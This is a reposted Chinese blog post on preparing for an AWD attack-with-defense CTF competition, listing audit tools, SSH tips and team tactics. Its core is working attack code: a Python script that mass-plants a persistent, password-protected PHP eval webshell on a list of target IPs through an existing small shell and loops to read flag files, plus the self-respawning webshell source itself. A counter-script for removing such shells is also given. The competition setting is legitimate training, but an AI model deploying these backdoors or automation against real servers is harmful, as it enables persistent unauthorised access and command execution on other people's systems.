admin管理员组文章数量:1561845
目录
- 赛前准备
- 代码审计工具
- seay源码审计系统
- chip
- 脚本
- 自动上传不死马
- 杀不死马
- ssh工具
- waf
- 现场操作
- 结语
最近一段时间去打了一次省赛的线下,虽然体验不怎么好,但有些准备的小东西还是很有用的,写下来分享一下:
赛前准备
代码审计工具
seay源码审计系统
下载链接:https://github/f1tz/cnseay。这个看个人习惯,我用这个源码审计工具体验不是好,但还是推荐给你们。使用方法:
然后结果就在右边。
chip
只能审计php,但用起来挺不错的。下载链接:https://github/opensec-cn/chip
使用方法:在shell处输入php chip.phar check "G:\Python_Practice\safy\AWD\chip\html3"
(引号里是要审计的文件路径)即可
脚本
自动上传不死马
其实这个很简单,自己动手也能写,核心就是file_put_contents写入文件。
通过小马写入busi.php(即本地的m.php),访问busi.php后就可以激活不死马。不死马有个密码pass,用来防止别人上车,密码可在m.php处的pass参数自行修改。
import requests
import time
import re
IP = open("url.txt").readlines()#靶机地址放在url.txt中
path = "/"
flag = []
def upload_shell():
"""
上传不死马
:return:
"""
small_file_name = "a.php"#小马文件名
busi_file_name = "busi.php"#不死马文件名
way = "POST" #小马参数方式
par = "a" # 小马参数
file = open("m.php", "r").read()#本地的不死马文件名
if(way=="POST"):
for i in IP:
i = i.replace("\n","")
url = "http://" + i + path
small_url = url + small_file_name#小马url
data = {par:"file_put_contents(\"busi.php\",\""+file+"\");"}#写入不死马
print(data)
requests.post(url=small_url, data=data)
print(small_url)
print("访问网站" + url + busi_file_name + ",倒计时:")
i = 15
while i:
i -= 1
print(i)
time.sleep(1)
else:
for i in IP:
i = i.replace("\n","")
url = "http://" + i + path
small_url = url + small_file_name + "?" + par + "=file_put_contents(\"m.php\",\""+file+"\");"
requests.get(url = small_url)
print(small_url)
print("访问网站" + url + busi_file_name + ",倒计时:")
i = 15
while i:
i -= 1
print(i)
time.sleep(1)
def get_flag():
"""
通过不死马自动获取flag
:return:
"""
poc = ".shell.php" #不死马位置和poc
cmd1 = 'system("cat /flag");'
passwd = "fortheone"
par = "a"#不死马的参数
data = {"pass":passwd,par:cmd1}#post备用
while (flag):
flag.pop()
for each_IP in IP:
each_IP = each_IP.replace("\n", "")
payload = "http://" + each_IP + path + poc
s = requests.post(url=payload,data=data)
flag.append(re.search('flag{[a-zA-Z0-9]*}',s.text))#自己修改flag前缀
print(payload)
print(flag)
if __name__ == '__main__':
upload_shell()
while(True):
get_flag()
# auto_post()
time.sleep(600)#每轮(10分钟)刷新一次flag,自己根据自己的比赛修改一轮的时间
再附上m.php(本地不死马文件,与已经上传但待激活的不死马区分开)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
\$file = './.shell.php';
\$code = '<?php \n if(md5(\$_POST[pass])==\"eabe7c7b92c916f954764d162bc5a39a\"){@eval(\$_POST[a]);} \n';
//fortheone
while (1){
file_put_contents(\$file,\$code);
usleep(50);
}
?>
使用方法如下:
- 靶机地址写在同目录的url.txt中,path改为小马所在的路径。
- 把
upload_shell
函数中的small_file_name
改成发现的小马文件名,way
改成小马的传参方式(GET或POST)
不死马可以自行定制,不过得修改upload_shell.py里的相应参数,而且要记得加上转义符
我这个还有一些缺陷,
4. 如果中间有个机子down了就会报错退出,剩下的机子就不跑了(需要报错处理)
5. 上马需要手动访问一下不死马的页面,脚本访问的话会挂在这个页面很久耽误后面的网站(需要多线程)
6. 缺少自动提交flag的脚本(也挺简单,交flag的时候抓个包,然后照着写就完事了,记得加token)
有时间得改进一下
杀不死马
service nginx stop
、service php7.2-fpm stop
然后即可删除不死马(比赛时肯定权限不够,所以仅适用于自己机子上测试的时候)- 重启,简单粗暴
- 脚本。一般来说都是通过条件竞争,只要比不死马的usleep更快就行了
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.shell.php';#发现的不死马文件名
while (1){
unlink($file);
usleep(49);#记住,一定要比不死马更快,但不要太小,如果机子撑不住就gg了
}
?>
ssh工具
推荐MobaXterm,下载链接为https://mobaxterm.mobatek/
这个可以从左边的窗口直接拖源码下来,非常舒服
介绍使用方法:
这样就可以本地修然后直接上传覆盖,能解决语法问题,也相当于备份了,被人家删站之后也可以更快上线
waf
我这里有几个waf,但是由于是其他师傅写的,不敢乱给,见谅XD,waf的作用一般就是防止别人种马或者删站,网上找找应该也有
现场操作
一般来说都是2web1pwn,我们省赛有5人,一人一个web机,审洞,找到洞就把exp给第三个人用脚本跑,交flag(一般都是脚本自动提交)。,然后着手修洞。
一定要修改ssh密码!!一定要修改ssh密码!!一定要修改ssh密码!!
重要的事情说三遍!
由于这次省赛所有队伍ssh密码都一样,有的队伍被改了ssh密码,直接上不去了,当机器机挨打刷分,这是最惨的。
结语
由于我都水平有限,还有挺多东西我不会的,比如数据库的维护、种马之后的维权、日志分析等等,以后学到了新东西还会更新的(大概),也欢迎各位能分享我一些有用的工具,毕竟好东西不嫌多嘛(斜眼笑。
版权声明:本文标题:AWD准备的一些脚本和工具及其使用方法 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/xitong/1727465603a1115807.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论